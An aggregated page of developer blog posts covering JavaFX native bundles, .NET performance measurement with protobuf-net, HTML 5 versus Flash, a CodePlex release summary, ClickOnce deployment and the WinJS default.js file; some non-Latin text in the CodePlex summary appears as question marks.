rpmbuild is required shortcut will be added to the programs menu If you are using Netbeans for producing the deployment packages then you will need to add custom build step to the build.xml to execute the fx:deploy task with native bundles enabled. Here is what we do for BrickBreaker sample: <target name="-post-jfx-deploy"> <fx:deploy width="${javafx.run.width}" height="${javafx.run.height}" nativeBundles="all" outdir="${basedir}/${dist.dir}" outfile="${application.title}"> <fx:application name="${application.title}" mainClass="${javafx.main.class}"> <fx:resources> <fx:fileset dir="${basedir}/${dist.dir}" includes="BrickBreaker.jar"/> </fx:resources> <info title="${application.title}" vendor="${application.vendor}"/> </fx:application> </fx:deploy> </target> This is pretty much regular use of fx:deploy task, the only special thing here is nativeBundles="all". Perhaps the easiest way to try building native bundles is to download the latest JavaFX samples bundle and build Ensemble, BrickBreaker or SwingInterop. Please give it a try and share your experience. We need your feedback! BTW, do not hesitate to file bugs and feature requests to JavaFX bug database! Wait! How can i ... This entry is not a comprehensive guide into native bundles, and we plan to post on this topic more. However, I am sure that once you play with native bundles you will have a lot of questions. We may not have all the answers, but please do not hesitate to ask! Knowing all of the questions is the first step to finding all of the answers.

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• Performance Optimization &ndash; It Is Faster When You Can Measure It

  - by Alois Kraus

  Performance optimization in bigger systems is hard because the measured numbers can vary greatly depending on the measurement method of your choice. To measure execution timing of specific methods in your application you usually use Time Measurement Method Potential Pitfalls Stopwatch Most accurate method on recent processors. Internally it uses the RDTSC instruction. Since the counter is processor specific you can get greatly different values when your thread is scheduled to another core or the core goes into a power saving mode. But things do change luckily: Intel's Designer's vol3b, section 16.11.1 "16.11.1 Invariant TSC The time stamp counter in newer processors may support an enhancement, referred to as invariant TSC. Processor's support for invariant TSC is indicated by CPUID.80000007H:EDX[8]. The invariant TSC will run at a constant rate in all ACPI P-, C-. and T-states. This is the architectural behavior moving forward. On processors with invariant TSC support, the OS may use the TSC for wall clock timer services (instead of ACPI or HPET timers). TSC reads are much more efficient and do not incur the overhead associated with a ring transition or access to a platform resource." DateTime.Now Good but it has only a resolution of 16ms which can be not enough if you want more accuracy.   Reporting Method Potential Pitfalls Console.WriteLine Ok if not called too often. Debug.Print Are you really measuring performance with Debug Builds? Shame on you. Trace.WriteLine Better but you need to plug in some good output listener like a trace file. But be aware that the first time you call this method it will read your app.config and deserialize your system.diagnostics section which does also take time.   In general it is a good idea to use some tracing library which does measure the timing for you and you only need to decorate some methods with tracing so you can later verify if something has changed for the better or worse. In my previous article I did compare measuring performance with quantum mechanics. This analogy does work surprising well. When you measure a quantum system there is a lower limit how accurately you can measure something. The Heisenberg uncertainty relation does tell us that you cannot measure of a quantum system the impulse and location of a particle at the same time with infinite accuracy. For programmers the two variables are execution time and memory allocations. If you try to measure the timings of all methods in your application you will need to store them somewhere. The fastest storage space besides the CPU cache is the memory. But if your timing values do consume all available memory there is no memory left for the actual application to run. On the other hand if you try to record all memory allocations of your application you will also need to store the data somewhere. This will cost you memory and execution time. These constraints are always there and regardless how good the marketing of tool vendors for performance and memory profilers are: Any measurement will disturb the system in a non predictable way. Commercial tool vendors will tell you they do calculate this overhead and subtract it from the measured values to give you the most accurate values but in reality it is not entirely true. After falling into the trap to trust the profiler timings several times I have got into the habit to Measure with a profiler to get an idea where potential bottlenecks are. Measure again with tracing only the specific methods to check if this method is really worth optimizing. Optimize it Measure again. Be surprised that your optimization has made things worse. Think harder Implement something that really works. Measure again Finished! - Or look for the next bottleneck. Recently I have looked into issues with serialization performance. For serialization DataContractSerializer was used and I was not sure if XML is really the most optimal wire format. After looking around I have found protobuf-net which uses Googles Protocol Buffer format which is a compact binary serialization format. What is good for Google should be good for us. A small sample app to check out performance was a matter of minutes: using ProtoBuf; using System; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.Serialization; [DataContract, Serializable] class Data { [DataMember(Order=1)] public int IntValue { get; set; } [DataMember(Order = 2)] public string StringValue { get; set; } [DataMember(Order = 3)] public bool IsActivated { get; set; } [DataMember(Order = 4)] public BindingFlags Flags { get; set; } } class Program { static MemoryStream _Stream = new MemoryStream(); static MemoryStream Stream { get { _Stream.Position = 0; _Stream.SetLength(0); return _Stream; } } static void Main(string[] args) { DataContractSerializer ser = new DataContractSerializer(typeof(Data)); Data data = new Data { IntValue = 100, IsActivated = true, StringValue = "Hi this is a small string value to check if serialization does work as expected" }; var sw = Stopwatch.StartNew(); int Runs = 1000 * 1000; for (int i = 0; i < Runs; i++) { //ser.WriteObject(Stream, data); Serializer.Serialize<Data>(Stream, data); } sw.Stop(); Console.WriteLine("Did take {0:N0}ms for {1:N0} objects", sw.Elapsed.TotalMilliseconds, Runs); Console.ReadLine(); } } The results are indeed promising: Serializer Time in ms N objects protobuf-net   807 1000000 DataContract 4402 1000000 Nearly a factor 5 faster and a much more compact wire format. Lets use it! After switching over to protbuf-net the transfered wire data has dropped by a factor two (good) and the performance has worsened by nearly a factor two. How is that possible? We have measured it? Protobuf-net is much faster! As it turns out protobuf-net is faster but it has a cost: For the first time a type is de/serialized it does use some very smart code-gen which does not come for free. Lets try to measure this one by setting of our performance test app the Runs value not to one million but to 1. Serializer Time in ms N objects protobuf-net 85 1 DataContract 24 1 The code-gen overhead is significant and can take up to 200ms for more complex types. The break even point where the code-gen cost is amortized by its faster serialization performance is (assuming small objects) somewhere between 20.000-40.000 serialized objects. As it turned out my specific scenario involved about 100 types and 1000 serializations in total. That explains why the good old DataContractSerializer is not so easy to take out of business. The final approach I ended up was to reduce the number of types and to serialize primitive types via BinaryWriter directly which turned out to be a pretty good alternative. It sounded good until I measured again and found that my optimizations so far do not help much. After looking more deeper at the profiling data I did found that one of the 1000 calls did take 50% of the time. So how do I find out which call it was? Normal profilers do fail short at this discipline. A (totally undeserved) relatively unknown profiler is SpeedTrace which does unlike normal profilers create traces of your applications by instrumenting your IL code at runtime. This way you can look at the full call stack of the one slow serializer call to find out if this stack was something special. Unfortunately the call stack showed nothing special. But luckily I have my own tracing as well and I could see that the slow serializer call did happen during the serialization of a bool value. When you encounter after much analysis something unreasonable you cannot explain it then the chances are good that your thread was suspended by the garbage collector. If there is a problem with excessive GCs remains to be investigated but so far the serialization performance seems to be mostly ok.  When you do profile a complex system with many interconnected processes you can never be sure that the timings you just did measure are accurate at all. Some process might be hitting the disc slowing things down for all other processes for some seconds as well. There is a big difference between warm and cold startup. If you restart all processes you can basically forget the first run because of the OS disc cache, JIT and GCs make the measured timings very flexible. When you are in need of a random number generator you should measure cold startup times of a sufficiently complex system. After the first run you can try again getting different and much lower numbers. Now try again at least two times to get some feeling how stable the numbers are. Oh and try to do the same thing the next day. It might be that the bottleneck you found yesterday is gone today. Thanks to GC and other random stuff it can become pretty hard to find stuff worth optimizing if no big bottlenecks except bloatloads of code are left anymore. When I have found a spot worth optimizing I do make the code changes and do measure again to check if something has changed. If it has got slower and I am certain that my change should have made it faster I can blame the GC again. The thing is that if you optimize stuff and you allocate less objects the GC times will shift to some other location. If you are unlucky it will make your faster working code slower because you see now GCs at times where none were before. This is where the stuff does get really tricky. A safe escape hatch is to create a repro of the slow code in an isolated application so you can change things fast in a reliable manner. Then the normal profilers do also start working again. As Vance Morrison does point out it is much more complex to profile a system against the wall clock compared to optimize for CPU time. The reason is that for wall clock time analysis you need to understand how your system does work and which threads (if you have not one but perhaps 20) are causing a visible delay to the end user and which threads can wait a long time without affecting the user experience at all. Next time: Commercial profiler shootout.

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• Does HTML 5 &ldquo;Rich vs. Reach&rdquo; a False Choice?

  - by andrewbrust

  The competition between the Web and proprietary rich platforms, including Windows, Mac OS, iPhone/iPad, Adobe’s Flash/AIR and Microsoft’s Silverlight, is not new. But with the emergence of HTML 5 and imminent support for it in the next release of the major Web browsers, the battle is heating up. And with the announcements made Wednesday at Google's I/O conference, it's getting kicked up yet another notch. The impact of this platform battle on companies in the media and advertising world, and the developers who serve them, is significant. The most prominent question is whether video and rich media online will shift towards pure HTML and away from plug-ins like Flash and Silverlight. In fact, certain features in HTML 5 make it suitable for development for line of business applications as well, further threatening those plug-in technologies. So what's the deal? Is this real or hype? To answer that question, I've done my own research into HTML 5's features and talked to several media-focused, New York area developers to get their opinions. I present my findings to you in this post. Before bearing down into HTML 5 specifics and practitioners’ quotes, let's set the context. To understand what HTML 5 can do, take a look at this video of Sports Illustrated’s HTML 5 prototype. This should start to get you bought into the idea that HTML 5 could be a game-changer. Next, if you happen to have installed the beta version of Google's Chrome 5 browser, take a look at the page linked to below, and in that page, click on any of the game thumbnails to see what's possible, without a plug-in, in this brave new world. (Note, although the instructions for each game tell you to press the A key to start, press the Z key instead.). Here's the link: http://www.kesiev.com/akihabara As an adjunct to what's enabled by HTML 5, consider the various transforms that are part of CSS 3. If you're running Safari as your browser, the following link will showcase this live; if not, you'll see a bitmap that will give you an idea of what's possible: http://webkit.org/blog/386/3d-transforms Are you starting to get the picture (literally)? What has up until now required browser plug-ins and other patches to HTML, most typically Flash, will soon be renderable, natively, in all major browsers. Moreover, it's looking likely that developers will be able to deliver such content and experiences in these browsers using one base of markup and script code (using straight JavaScript and/or jQuery), without resorting to browser-specific code and workarounds. If you're skeptical of this, I wouldn't blame you, especially with respect to Microsoft's Internet Explorer. However, i can tell you with confidence that even Microsoft is dedicated to full-on HTML 5 support in version 9 of that browser, which is currently under development. So what’s new in HTML 5, specifically, that makes sites like this possible?  The specification documents go into deep detail, and there’s no sense in rehashing them here, but a summary is probably in order.   Here is a non-authoritative, but useful, list of the major new feature areas in HTML 5: 2D drawing capabilities and 3D transforms. 2D drawing instructions can be embedded statically into a Web page; application interactivity and animation can be achieved through script.  As mentioned above, 3D transforms are technically part of version 3 of the CSS (Cascading Style Sheets) spec, rather than HTML 5, but they can nonetheless be thought of as part of the bundle.  They allow for rendering of 3D images and animations that, together with 2D drawing, make HTML-based games much more feasible than they are presently, as the links above demonstrate. Embedded audio and video. A media player can appear directly in a rendered Web page, using HTML markup and no plug-ins. Alternately, player controls can be hidden and the content can play automatically. Major enhancements to form-based input. This includes such things as specification of required fields, embedding of text “hints” into a control, limiting valid input on a field to dates, email addresses or a list of values.  There’s more to this, but the gist is that line-of-business applications, with complicated input and data validation, are supported directly Offline caching, local storage and client-side SQL database. These facilities allow Web applications to function more like native apps, even if no internet connection is available. User-defined data. Data (or metadata – data about data) can easily be embedded statically and/or retrieved and updated with Javascript code. This avoids having to embed that data in a separate file, or within script code. Taken together, these features position HTML to compete with, and perhaps overtake, Adobe’s Flash/AIR (and Microsoft’s Silverlight) as a viable Web platform for media, RIAs (rich internet applications – apps that function more like desktop software than Web sites) and interactive Web content, including games. What do players in the media world think about this?  From the embedded video above, we know what Sports Illustrated (and, therefore, Time Warner) think.  Hulu, the major Internet site for broadcast TV content, is on record as saying HTML5 video does not pass muster with them, at least not yet.  YouTube, on the other hand, already has an experimental HTML 5-based version of their site.  TechCrunch has reported that NetFlix is flirting with HTML 5 too, especially as it pertains to embedded browsers in TV-based devices.  And the New York Times’ Web site now embeds some video clips without resorting to Flash.  They have to – otherwise iPhone, iPod Touch and iPad users couldn’t see them in the Mobile Safari browser. What do media-focused developers think about all this?  I talked to several to get their opinions. Michael Pinto is CEO and Founder of Very Memorable Design whose primary focus has been to help marketing directors get traction online.  The firm’s client roster includes the likes Time, Inc., Scholastic and PBS.  Pinto predicts that “More and more microsites that were done entirely in Flash will be done more and more using jQuery. I can also see slideshows and video now being done without Flash. However if you needed to create a game or highly interactive activity Flash would still be the way to go for the web.” A dissenting view comes from Jesse Erlbaum, CEO of The Erlbaum Group, LLC, which serves numerous clients in the magazine publishing sector.  When I asked Erlbaum whether he thought HTML 5 and jQuery/JavaScript would steal significant market share from Flash, he responded “Not at all!  In particular, not for media and advertising customers!  These sectors are not generally in the business of making highly functional applications, which is the one place where HTML5/jQuery/etc really shines.” Ironically, Pinto’s firm is a heavy user of Flash for its projects and Erlbaum’s develops atop the “LAMP” (Linux, Apache, MySQL and PHP/Perl) stack.  For whatever reason, each firm seems to see the other’s toolset as a more viable choice.  But both agree that the developer tool story around HTML 5 is deficient.  Pinto explains “What’s lost with [HTML 5 and Javascript] techniques is that there isn’t a single widely favored easy-to-use tool of choice for authoring. So with Flash you can get up and running right away and not worry about what is different from one browser to the next.“  Erlbaum agrees, saying: “HTML5/Javascript lacks a sophisticated integrated development environment (IDE) which is an essential part of Flash.  If what someone is trying to make is primarily animation, it's a waste of time…to do this in Javascript.  It can be done much more easily in Flash, and with greater cross-browser compatibility and consistency due to the ubiquity of Flash.” Adobe (maker of Flash since its 2005 acquisition of Macromedia) likely agrees.  And for better or worse, they’ve decided to address this shortcoming of HTML 5, even at risk of diminishing their Flash platfrom. Yesterday Adobe announced that their hugely popular Deamweaver Web design authoring tool would directly support HTML 5 and CSS 3 development.  In fact, the Adobe Dreamweaver CS5 HTML5 Pack is downloadable now from Adobe Labs. Maybe Adobe is bowing to pressure from ardent Web professionals like Scott Kellum, Lead Designer at Channel V Media,  a digital and offline branding firm, serving the media and marketing sectors, among others.  Kellum told me that HTML 5 “…will definitely move people away from Flash. It has many of the same functionalities with faster load times and better accessibility. HTML5 will help Flash as well: with the new caching methods you can now even run Flash apps offline.” Although all three Web developers I interviewed would agree that Flash is still required for more sophisticated applications, Kellum seems to have put his finger on why HTML 5 may nonetheless dominate.  In his view, much of the Web development out there has little need for high-end capabilities: “Most people want to add a little punch to a navigation bar or some video and now you can get the biggest bang for your buck with HTML5, CSS3 and Javascript.” I’ve already mentioned that Google’s ongoing I/O conference, at the Moscone West center in San Francisco, is driving the HTML 5 news cycle, big time.  And Google made many announcements of their own, including the open sourcing of their VP8 video codec, new enterprise-oriented capabilities for its App Engine cloud offering, and the creation of the Chrome Web Store, which the company says will make it easier to find and “install” Web applications, in a fashion similar to  the way users procure native apps on various mobile platforms. HTML 5 looks to be disruptive, especially to the media world.  And even if the technology ends up disappointing, the chatter around it alone is causing big changes in the technology world.  If the richness it promises delivers, then magazine publishers and non-text digital advertisers may indeed have a platform for creating compelling content that loads quickly, is standards-based and will render identically in (the newest versions of) all major Web browsers.  Can this development in the digital arena save the titans of the print world?  I can’t predict, but it’s going to be fun to watch, and the competitive innovation from all players in both industries will likely be immense.

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• CodePlex Daily Summary for Saturday, October 13, 2012

  CodePlex Daily Summary for Saturday, October 13, 2012Popular ReleasesArduino Installer For Atmel Studio 6: Arduino Installer - Version 1.01 Beta2: Bug Fixes - Handling spaces in avrdude path - Handling spaces in avrdude config path - Handling spaces in project names - Handling spaces in project path - hard coded directories pointing to my space has been removed New Features - Total of 7 project templates included - C program - C library - C++ program - C++ library - Arduino Unit Tests - Arduino library - Arduino program (sketch) - Group all supporting scripts under a script directory in the solution - Support for calling multiple pre-...AcDown????? - AcDown Downloader Framework: AcDown????? v4.2: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ???? 32??64? ???Linux ????(1)????????Windows XP???，????????.NET Framework 2.0???(x86)，?????"?????????"??? (2)???????????Linux???，????????Mono?? ??2...PHPExcel: PHPExcel 1.7.8: See Change Log for details of the new features and bugfixes included in this release, and methods that are now deprecated. Note changes to the PDF Writer: tcPDF is no longer bundled with PHPExcel, but should be installed separately if you wish to use that 3rd-Party library with PHPExcel. Alternatively, you can choose to use mPDF or DomPDF as PDF Rendering libraries instead: PHPExcel now provides a configurable wrapper allowing you a choice of PDF renderer. See the documentation, or the PDF s...DirectX Tool Kit: October 12, 2012: October 12, 2012 Added PrimitiveBatch for drawing user primitives Debug object names for all D3D resources (for PIX and debug layer leak reporting)Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.70: Fixed issue described in discussion #399087: variable references within case values weren't getting resolved.GoogleMap Control: GoogleMap Control 6.1: Some important bug fixes and couple of new features were added. There are no major changes to the sample website. Source code could be downloaded from the Source Code section selecting branch release-6.1. Thus just builds of GoogleMap Control are issued here in this release. NuGet Package GoogleMap Control 6.1 NuGet Package FeaturesBounds property to provide ability to create a map by center and bounds as well; Setting in markup <artem:GoogleMap ID="GoogleMap1" runat="server" MapType="HY...mojoPortal: 2.3.9.3: see release notes on mojoportal.com http://www.mojoportal.com/mojoportal-2393-released Note that we have separate deployment packages for .NET 3.5 and .NET 4.0, but we recommend you to use .NET 4, we will probably drop support for .NET 3.5 once .NET 4.5 is available The deployment package downloads on this page are pre-compiled and ready for production deployment, they contain no C# source code and are not intended for use in Visual Studio. To download the source code see getting the lates...OstrivDB: OstrivDB 0.1: - Storage configuration: objects serialization (Xml, Json), storage file compressing, data block size. - Caching for Select queries. - Indexing. - Batch of queries. - No special query language (LINQ used). - Integrated sorting and paging. - Multithreaded data processing.D3 Loot Tracker: 1.5.4: Fixed a bug where the server ip was not logged properly in the stats file.Captcha MVC: Captcha Mvc 2.1.2: v 2.1.2: Fixed problem with serialization. Made all classes from a namespace Jetbrains.Annotaions as the internal. Added autocomplete attribute and autocorrect attribute for captcha input element. Minor changes. v 2.1.1: Fixed problem with serialization. Minor changes. v 2.1: Added support for storing captcha in the session or cookie. See the updated example. Updated example. Minor changes. v 2.0.1: Added support for a partial captcha. Now you can easily customize the layout, s...DotNetNuke® Community Edition CMS: 06.02.04: Major Highlights Fixed issue where the module printing function was only visible to administrators Fixed issue where pane level skinning was being assigned to a default container for any content pane Fixed issue when using password aging and FB / Google authentication Fixed issue that was causing the DateEditControl to not load the assigned value Fixed issue that stopped additional profile properties to be displayed in the member directory after modifying the template Fixed er...Advanced DataGridView with Excel-like auto filter: 1.0.0.0: ?????? ??????WinRT XAML Toolkit: WinRT XAML Toolkit - 1.3.3: WinRT XAML Toolkit based on the Windows 8 RTM SDK. Download the latest source from the SOURCE CODE page. For compiled version use NuGet. You can add it to your project in Visual Studio by going to View/Other Windows/Package Manager Console and entering: PM> Install-Package winrtxamltoolkit Features Attachable Behaviors AwaitableUI extensions Controls Converters Debugging helpers Extension methods Imaging helpers IO helpers VisualTree helpers Samples Recent changes NOTE:...VidCoder: 1.4.4 Beta: Fixed inability to create new presets with "Save As".MCEBuddy 2.x: MCEBuddy 2.3.2: Changelog for 2.3.2 (32bit and 64bit) 1. Added support for generating XBMC XML NFO files for files in the conversion queue (store it along with the source video with source video name.nfo). Right click on the file in queue and select generate XML 2. UI bugifx, start and end trim box locations interchanged 3. Added support for removing commercials from non DVRMS/WTV files (MP4, AVI etc) 4. Now checking for Firewall port status before enabling (might help with some firewall problems) 5. User In...Sandcastle Help File Builder: SHFB v1.9.5.0 with Visual Studio Package: General InformationIMPORTANT: On some systems, the content of the ZIP file is blocked and the installer may fail to run. Before extracting it, right click on the ZIP file, select Properties, and click on the Unblock button if it is present in the lower right corner of the General tab in the properties dialog. This release supports the Sandcastle October 2012 Release (v2.7.1.0). It includes full support for generating, installing, and removing MS Help Viewer files. This new release suppor...The GLMET Project: Shutdown Manager: Shutdown, Log off and Restart Timer Set time for shutdown, log off and restartClosedXML - The easy way to OpenXML: ClosedXML 0.68.0: ClosedXML now resolves formulas! Yes it finally happened. If you call cell.Value and it has a formula the library will try to evaluate the formula and give you the result. For example: var wb = new XLWorkbook(); var ws = wb.AddWorksheet("Sheet1"); ws.Cell("A1").SetValue(1).CellBelow().SetValue(1); ws.Cell("B1").SetValue(1).CellBelow().SetValue(1); ws.Cell("C1").FormulaA1 = "\"The total value is: \" & SUM(A1:B2)"; var...Json.NET: Json.NET 4.5 Release 10: New feature - Added Portable build to NuGet package New feature - Added GetValue and TryGetValue with StringComparison to JObject Change - Improved duplicate object reference id error message Fix - Fixed error when comparing empty JObjects Fix - Fixed SecAnnotate warnings Fix - Fixed error when comparing DateTime JValue with a DateTimeOffset JValue Fix - Fixed serializer sometimes not using DateParseHandling setting Fix - Fixed error in JsonWriter.WriteToken when writing a DateT...Readable Passphrase Generator: KeePass Plugin 0.7.2: Changes: Tested against KeePass 2.20.1 Tested under Ubuntu 12.10 (and KeePass 2.20) Added GenerateAsUtf8 method returning the encrypted passphrase as a UTF8 byte array.New ProjectsAaron.Core: It's a special core be used to help your project become standardization. It provides the standard platform, including core systems, data flows,...AFSSignarlRServer: Server ready tryAgileFramework: Agile Framework in order to build easily application based on WCF, NHibernate , WPF, and multithreadingala, A Programming Language: ala, A Programming LanguageBaseSRS (Basic Service Request System): BaseSRS is a basic "Service Request System" or "SRS" which can be adapted and used by anyone. ContainerVariations: ContainerVariations is a collection of similar unit tests projects, each applied to a different Inversion of Control container. If successful, it will provide a consistent and comprehensive set of examples for popular .NET IoC containers. It is developed in C#.COST Policies - ART Work: COST Policies: ART Work ? ??????? ?????? ?? ??????? ?? ??????????: -baceCP -guideCPCS Script Runner: Provide users an easy way of executing C# programs (scripts) that are compiled on the fly.DbUtility: DbUtility is a free utility to display databases info like, size, backup date, instance name, database name, last backup log date, with export to excel feature.EchoLink Monitor: EchoLink Monitor is a management tool for EchoLink sysops maintaining remote EchoLink nodes.NextUI: We are on the way...Notas Alexandre: Apenas teste ainda...será modificado depois...Orchard CMS Amba.HtmlBlocks: Amba.HtmlBlocks module for Orchard CMS 1.5.1Portable Basemap Server: multiple map data source<--PBS-->multiple map apiRonYee: ??????????????。 ????（viewer）???????????????????，???????????????。 ????（customer）?????????????????，???????，?????????????????。 ??????（user）??????????????????。ShangWu: ????，???StoreIpAddress: Examine different means to store IP addressesSummon for Umbraco: Summon for Umbraco is a .NET solution for Summon API, provided by Serials Solutions.teasingg: this is for testing code plexWeb Scripting and Content Creation assignment: A stub project.WriteableBitmapEx for Windows Embedded: WriteableBitmapEx for Windows Embedded Compact 7 and Silverlight for Windows Embedded. Requires XAML In The Hand for managed code development.X.Web.Sitemap: X.Web.Sitemap is a part of X-Framework library. X.Web.Sitemap allows quickly and easily generate a Google-compatible filesZeropaste: A pastebin with minimal features.??: ?????EPUB????。

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• Click Once Deployment Process and Issue Resolution

  - by Geordie

  Introduction We are adopting Click Once as a deployment standard for Thick .Net application clients.  The latest version of this tool has matured it to a point where it can be used in an enterprise environment.  This guide will identify how to use Click Once deployment and promote code trough the dev, test and production environments. Why Use Click Once over SCCM If we already use SCCM why add Click Once to the deployment options.  The advantages of Click Once are their ability to update the code in a single location and have the update flow automatically down to the user community.  There have been challenges in the past with getting configuration updates to download but these can now be achieved.  With SCCM you can do the same thing but it then needs to be packages and pushed out to users.  Each time a new user is added to an application, time needs to be spent by an administrator, to push out any required application packages.  With Click Once the user would go to a web link and the application and pre requisites will automatically get installed. New Deployment Steps Overview The deployment in an enterprise environment includes several steps as the solution moves through the development life cycle before being released into production.  To make mitigate risk during the release phase, it is important to ensure the solution is not deployed directly into production from the development tools.  Although this is the easiest path, it can introduce untested code into production and result in unexpected results. 1. Deploy the client application to a development web server using Visual Studio 2008 Click Once deployment tools.  Once potential production versions of the solution are being generated, ensure the production install URL is specified when deploying code from Visual Studio.  (For details see ‘Deploying Click Once Code from Visual Studio’) 2. xCopy the code to the test server.  Run the MageUI tool to update the URLs, signing and version numbers to match the test server. (For details see ‘Moving Click Once Code to a new Server without using Visual Studio’) 3. xCopy the code to the production server.  Run the MageUI tool to update the URLs, signing and version numbers to match the production server. The certificate used to sign the code should be provided by a certificate authority that will be trusted by the client machines.  Finally make sure the setup.exe contains the production install URL.  If not redeploy the solution from Visual Studio to the dev environment specifying the production install URL.  Then xcopy the install.exe file from dev to production.  (For details see ‘Moving Click Once Code to a new Server without using Visual Studio’) Detailed Deployment Steps Deploying Click Once Code From Visual Studio Open Visual Studio and create a new WinForms or WPF project.   In the solution explorer right click on the project and select ‘Publish’ in the context menu.   The ‘Publish Wizard’ will start.  Enter the development deployment path.  This could be a local directory or web site.  When first publishing the solution set this to a development web site and Visual basic will create a site with an install.htm page.  Click Next.  Select weather the application will be available both online and offline. Then click Finish. Once the initial deployment is completed, republish the solution this time mapping to the directory that holds the code that was just published.  This time the Publish Wizard contains and additional option.   The setup.exe file that is created has the install URL hardcoded in it.  It is this screen that allows you to specify the URL to use.  At some point a setup.exe file must be generated for production.  Enter the production URL and deploy the solution to the dev folder.  This file can then be saved for latter use in deployment to production.  During development this URL should be pointing to development site to avoid accidently installing the production application. Visual studio will publish the application to the desired location in the process it will create an anonymous ‘pfx’ certificate to sign the deployment configuration files.  A production certificate should be acquired in preparation for deployment to production.   Directory structure created by Visual Studio     Application files created by Visual Studio   Development web site (install.htm) created by Visual Studio Migrating Click Once Code to a new Server without using Visual Studio To migrate the Click Once application code to a new server, a tool called MageUI is needed to modify the .application and .manifest files.  The MageUI tool is usually located – ‘C:\Program Files\Microsoft SDKs\Windows\v6.0A\Bin’ folder or can be downloaded from the web. When deploying to a new environment copy all files in the project folder to the new server.  In this case the ‘ClickOnceSample’ folder and contents.  The old application versions can be deleted, in this case ‘ClickOnceSample_1_0_0_0’ and ‘ClickOnceSample_1_0_0_1’.  Open IIS Manager and create a virtual directory that points to the project folder.  Also make the publish.htm the default web page.   Run the ManeUI tool and then open the .application file in the root project folder (in this case in the ‘ClickOnceSample’ folder). Click on the Deployment Options in the left hand list and update the URL to the new server URL and save the changes.   When MageUI tries to save the file it will prompt for the file to be signed.   This step cannot be bypassed if you want the Click Once deployment to work from a web site.  The easiest solution to this for test is to use the auto generated certificate that Visual Studio created for the project.  This certificate can be found with the project source code.   To save time go to File>Preferences and configure the ‘Use default signing certificate’ fields.   Future deployments will only require application files to be transferred to the new server.  The only difference is then updating the .application file the ‘Version’ must be updated to match the new version and the ‘Application Reference’ has to be update to point to the new .manifest file.     Updating the Configuration File of a Click Once Deployment Package without using Visual Studio When an update to the configuration file is required, modifying the ClickOnceSample.exe.config.deploy file will not result in current users getting the new configurations.  We do not want to go back to Visual Studio and generate a new version as this might introduce unexpected code changes.  A new version of the application can be created by copying the folder (in this case ClickOnceSample_1_0_0_2) and pasting it into the application Files directory.  Rename the directory ‘ClickOnceSample_1_0_0_3’.  In the new folder open the configuration file in notepad and make the configuration changes. Run MageUI and open the manifest file in the newly copied directory (ClickOnceSample_1_0_0_3).   Edit the manifest version to reflect the newly copied files (in this case 1.0.0.3).  Then save the file.  Open the .application file in the root folder.  Again update the version to 1.0.0.3.  Since the file has not changed the Deployment Options/Start Location URL should still be correct.  The application Reference needs to be updated to point to the new versions .manifest file.  Save the file. Next time a user runs the application the new version of the configuration file will be down loaded.  It is worth noting that there are 2 different types of configuration parameter; application and user.  With Click Once deployment the difference is significant.  When an application is downloaded the configuration file is also brought down to the client machine.  The developer may have written code to update the user parameters in the application.  As a result each time a new version of the application is down loaded the user parameters are at risk of being overwritten.  With Click Once deployment the system knows if the user parameters are still the default values.  If they are they will be overwritten with the new default values in the configuration file.  If they have been updated by the user, they will not be overwritten. Settings configuration view in Visual Studio Production Deployment When deploying the code to production it is prudent to disable the development and test deployment sites.  This will allow errors such as incorrect URL to be quickly identified in the initial testing after deployment.  If the sites are active there is no way to know if the application was downloaded from the production deployment and not redirected to test or dev.   Troubleshooting Clicking the install button on the install.htm page fails. Error: URLDownloadToCacheFile failed with HRESULT '-2146697210' Error: An error occurred trying to download <file>   This is due to the setup.exe file pointing to the wrong location. ‘The setup.exe file that is created has the install URL hardcoded in it.  It is this screen that allows you to specify the URL to use.  At some point a setup.exe file must be generated for production.  Enter the production URL and deploy the solution to the dev folder.  This file can then be saved for latter use in deployment to production.  During development this URL should be pointing to development site to avoid accidently installing the production application.’

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• Metro: Understanding the default.js File

  - by Stephen.Walther

  The goal of this blog entry is to describe — in painful detail — the contents of the default.js file in a Metro style application written with JavaScript. When you use Visual Studio to create a new Metro application then you get a default.js file automatically. The file is located in a folder named \js\default.js. The default.js file kicks off all of your custom JavaScript code. It is the main entry point to a Metro application. The default contents of the default.js file are included below: // For an introduction to the Blank template, see the following documentation: // http://go.microsoft.com/fwlink/?LinkId=232509 (function () { "use strict"; var app = WinJS.Application; app.onactivated = function (eventObject) { if (eventObject.detail.kind === Windows.ApplicationModel.Activation.ActivationKind.launch) { if (eventObject.detail.previousExecutionState !== Windows.ApplicationModel.Activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } WinJS.UI.processAll(); } }; app.oncheckpoint = function (eventObject) { // TODO: This application is about to be suspended. Save any state // that needs to persist across suspensions here. You might use the // WinJS.Application.sessionState object, which is automatically // saved and restored across suspension. If you need to complete an // asynchronous operation before your application is suspended, call // eventObject.setPromise(). }; app.start(); })(); There are several mysterious things happening in this file. The purpose of this blog entry is to dispel this mystery. Understanding the Module Pattern The first thing that you should notice about the default.js file is that the entire contents of this file are enclosed within a self-executing JavaScript function: (function () { ... })(); Metro applications written with JavaScript use something called the module pattern. The module pattern is a common pattern used in JavaScript applications to create private variables, objects, and methods. Anything that you create within the module is encapsulated within the module. Enclosing all of your custom code within a module prevents you from stomping on code from other libraries accidently. Your application might reference several JavaScript libraries and the JavaScript libraries might have variables, objects, or methods with the same names. By encapsulating your code in a module, you avoid overwriting variables, objects, or methods in the other libraries accidently. Enabling Strict Mode with “use strict” The first statement within the default.js module enables JavaScript strict mode: 'use strict'; Strict mode is a new feature of ECMAScript 5 (the latest standard for JavaScript) which enables you to make JavaScript more strict. For example, when strict mode is enabled, you cannot declare variables without using the var keyword. The following statement would result in an exception: hello = "world!"; When strict mode is enabled, this statement throws a ReferenceError. When strict mode is not enabled, a global variable is created which, most likely, is not what you want to happen. I’d rather get the exception instead of the unwanted global variable. The full specification for strict mode is contained in the ECMAScript 5 specification (look at Annex C): http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf Aliasing the WinJS.Application Object The next line of code in the default.js file is used to alias the WinJS.Application object: var app = WinJS.Application; This line of code enables you to use a short-hand syntax when referring to the WinJS.Application object: for example,  app.onactivated 